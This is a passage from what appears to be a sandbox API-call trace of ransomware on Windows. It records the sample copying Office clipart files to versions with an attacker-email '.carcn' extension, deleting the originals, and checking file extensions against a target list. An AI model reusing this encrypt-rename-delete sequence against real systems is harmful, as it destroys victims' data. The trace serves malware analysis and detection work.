nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.039] WriteFile (in: hFile=0x558, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0263.039] SetEndOfFile (hFile=0x558) returned 1 [0263.039] CloseHandle (hObject=0x558) returned 1 [0263.040] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.040] SetEndOfFile (hFile=0x550) returned 1 [0263.042] CloseHandle (hObject=0x550) returned 1 [0263.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0263.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0263.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0263.044] lstrlenW (lpString=".doc") returned 4 [0263.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.044] lstrlenW (lpString=".docx") returned 5 [0263.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.044] lstrlenW (lpString=".pdf") returned 4 [0263.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.044] lstrlenW (lpString=".xls") returned 4 [0263.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.044] lstrlenW (lpString=".xlsx") returned 5 [0263.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.044] lstrlenW (lpString=".ppt") returned 4 [0263.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0263.044] lstrlenW (lpString=".zip") returned 4 [0263.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.045] lstrlenW (lpString=".rar") returned 4 [0263.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.045] lstrlenW (lpString=".bz2") returned 4 [0263.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.045] lstrlenW (lpString=".7z") returned 3 [0263.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0263.045] lstrlenW (lpString=".dbf") returned 4 [0263.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0263.045] lstrlenW (lpString=".1cd") returned 4 [0263.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0263.045] lstrlenW (lpString=".jpg") returned 4 [0263.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0263.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0263.045] lstrlenW (lpString=".doc") returned 4 [0263.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.045] lstrlenW (lpString=".docx") returned 5 [0263.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.045] lstrlenW (lpString=".pdf") returned 4 [0263.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.045] lstrlenW (lpString=".xls") returned 4 [0263.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.046] lstrlenW (lpString=".xlsx") returned 5 [0263.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.046] lstrlenW (lpString=".ppt") returned 4 [0263.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0263.046] lstrlenW (lpString=".zip") returned 4 [0263.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.046] lstrlenW (lpString=".rar") returned 4 [0263.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.046] lstrlenW (lpString=".bz2") returned 4 [0263.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.046] lstrlenW (lpString=".7z") returned 3 [0263.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0263.046] lstrlenW (lpString=".dbf") returned 4 [0263.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0263.046] lstrlenW (lpString=".1cd") returned 4 [0263.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0263.046] lstrlenW (lpString=".jpg") returned 4 [0263.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.047] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.047] lstrlenW (lpString="AN04326_.WMF") returned 12 [0263.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.047] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3348) returned 1 [0263.047] CloseHandle (hObject=0x550) returned 1 [0263.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0263.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.048] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.048] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0263.049] GetLastError () returned 0x0 [0263.049] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0xd14, lpOverlapped=0x0) returned 1 [0263.137] WriteFile (in: hFile=0x558, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xd20, lpOverlapped=0x0) returned 1 [0263.138] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.138] WriteFile (in: hFile=0x558, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0263.138] SetEndOfFile (hFile=0x558) returned 1 [0263.139] CloseHandle (hObject=0x558) returned 1 [0263.140] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.140] SetEndOfFile (hFile=0x550) returned 1 [0263.142] CloseHandle (hObject=0x550) returned 1 [0263.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0263.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0263.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0263.144] lstrlenW (lpString=".doc") returned 4 [0263.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.144] lstrlenW (lpString=".docx") returned 5 [0263.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.144] lstrlenW (lpString=".pdf") returned 4 [0263.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.144] lstrlenW (lpString=".xls") returned 4 [0263.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.144] lstrlenW (lpString=".xlsx") returned 5 [0263.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.144] lstrlenW (lpString=".ppt") returned 4 [0263.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0263.144] lstrlenW (lpString=".zip") returned 4 [0263.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.145] lstrlenW (lpString=".rar") returned 4 [0263.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.145] lstrlenW (lpString=".bz2") returned 4 [0263.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.145] lstrlenW (lpString=".7z") returned 3 [0263.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0263.145] lstrlenW (lpString=".dbf") returned 4 [0263.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0263.145] lstrlenW (lpString=".1cd") returned 4 [0263.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0263.145] lstrlenW (lpString=".jpg") returned 4 [0263.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0263.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0263.145] lstrlenW (lpString=".doc") returned 4 [0263.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.145] lstrlenW (lpString=".docx") returned 5 [0263.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.145] lstrlenW (lpString=".pdf") returned 4 [0263.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.146] lstrlenW (lpString=".xls") returned 4 [0263.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.146] lstrlenW (lpString=".xlsx") returned 5 [0263.146] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.146] lstrlenW (lpString=".ppt") returned 4 [0263.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0263.146] lstrlenW (lpString=".zip") returned 4 [0263.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.146] lstrlenW (lpString=".rar") returned 4 [0263.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.146] lstrlenW (lpString=".bz2") returned 4 [0263.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.146] lstrlenW (lpString=".7z") returned 3 [0263.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0263.146] lstrlenW (lpString=".dbf") returned 4 [0263.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0263.146] lstrlenW (lpString=".1cd") returned 4 [0263.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0263.146] lstrlenW (lpString=".jpg") returned 4 [0263.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.147] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.147] lstrlenW (lpString="AN04332_.WMF") returned 12 [0263.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.147] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4296) returned 1 [0263.147] CloseHandle (hObject=0x550) returned 1 [0263.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0263.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.148] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.148] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0263.149] GetLastError () returned 0x0 [0263.149] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x10c8, lpOverlapped=0x0) returned 1 [0263.245] WriteFile (in: hFile=0x558, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x10d0, lpOverlapped=0x0) returned 1 [0263.246] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.246] WriteFile (in: hFile=0x558, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0263.246] SetEndOfFile (hFile=0x558) returned 1 [0263.247] CloseHandle (hObject=0x558) returned 1 [0263.248] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.248] SetEndOfFile (hFile=0x550) returned 1 [0263.252] CloseHandle (hObject=0x550) returned 1 [0263.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0263.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0263.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0263.253] lstrlenW (lpString=".doc") returned 4 [0263.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.253] lstrlenW (lpString=".docx") returned 5 [0263.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.254] lstrlenW (lpString=".pdf") returned 4 [0263.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.254] lstrlenW (lpString=".xls") returned 4 [0263.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.254] lstrlenW (lpString=".xlsx") returned 5 [0263.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.254] lstrlenW (lpString=".ppt") returned 4 [0263.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0263.254] lstrlenW (lpString=".zip") returned 4 [0263.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.254] lstrlenW (lpString=".rar") returned 4 [0263.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.254] lstrlenW (lpString=".bz2") returned 4 [0263.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.254] lstrlenW (lpString=".7z") returned 3 [0263.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0263.254] lstrlenW (lpString=".dbf") returned 4 [0263.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0263.255] lstrlenW (lpString=".1cd") returned 4 [0263.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0263.255] lstrlenW (lpString=".jpg") returned 4 [0263.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0263.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0263.255] lstrlenW (lpString=".doc") returned 4 [0263.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.255] lstrlenW (lpString=".docx") returned 5 [0263.255] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.255] lstrlenW (lpString=".pdf") returned 4 [0263.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.255] lstrlenW (lpString=".xls") returned 4 [0263.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.256] lstrlenW (lpString=".xlsx") returned 5 [0263.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.256] lstrlenW (lpString=".ppt") returned 4 [0263.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0263.256] lstrlenW (lpString=".zip") returned 4 [0263.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.256] lstrlenW (lpString=".rar") returned 4 [0263.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.256] lstrlenW (lpString=".bz2") returned 4 [0263.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.256] lstrlenW (lpString=".7z") returned 3 [0263.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0263.256] lstrlenW (lpString=".dbf") returned 4 [0263.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0263.256] lstrlenW (lpString=".1cd") returned 4 [0263.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0263.256] lstrlenW (lpString=".jpg") returned 4 [0263.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.257] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.257] lstrlenW (lpString="AN04384_.WMF") returned 12 [0263.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.306] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4996) returned 1 [0263.306] CloseHandle (hObject=0x528) returned 1 [0263.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0263.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.307] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.307] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0263.309] GetLastError () returned 0x0 [0263.309] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x1384, lpOverlapped=0x0) returned 1 [0263.342] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1390, lpOverlapped=0x0) returned 1 [0263.343] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.343] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 